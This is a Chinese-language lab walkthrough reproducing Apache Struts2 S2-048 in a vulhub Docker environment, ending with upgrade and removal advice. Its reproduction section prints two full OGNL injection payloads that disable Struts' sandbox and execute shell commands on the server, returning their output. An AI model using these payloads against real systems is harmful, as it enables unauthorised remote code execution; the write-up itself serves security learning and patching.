0x00簡介
struts2框架是一個用于開發Java ee網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了java servlet api,鼓勵開發者采用mvc架構。struts2以webwork優秀的設計思想為核心,吸收了struts框架的部分優點,提供了一個更加整潔的mvc設計模式實現的web應用程序框架。
0x01漏洞概述
apache Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目錄,其漏洞成因是當ActionMessage接收客戶可控的參數數據時,由于后續數據拼接傳遞后處理不當導致任意代碼執行
0x02影響范圍
Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本。
0x03環境搭建
1.自行搭建Apache Struts2較為復雜,本次漏洞環境使用vulhub中的docker環境搭建。
下載地址:https://github.com/vulhub/vulhub
2.下載完成后解壓進入s2-048目錄,啟動漏洞環境
cd cd vulhub-master/struts2/s2-048/ ???//進入目錄
docker-compose up -d ?//啟動靶場
3.使用docker?ps?查看是否啟動成功
4.在瀏覽器輸入http:your-ip:8080/hello.action,看到以下頁面環境搭建完成
0x04漏洞復現
1.?在瀏覽器輸入以下鏈接訪問漏洞頁面
http://192.168.3.160:8080/integration/saveGangster.action
2.在第一個表單“Gangster Name”處輸入${1+1},下面隨意輸入,點擊submit提交查看執行了OGNL 表達式
2.?在Gangster Name”處把${1+1}修改為以下命令執行的payload語句
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())).(#q)}
3.?也可以使用Burp抓包修改成命令執行的payload的語句
注:payload需要使用URL編碼
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4.?可以使用自動化腳本或圖形化工具實現,這里不做演示。
工具可在GitHub上搜索下載
0x05修復建議
1.?升級?建議升級到最新版本
2、根據業務情況,禁用關閉(刪除) struts-2.3.xappsstruts2-showcase.war包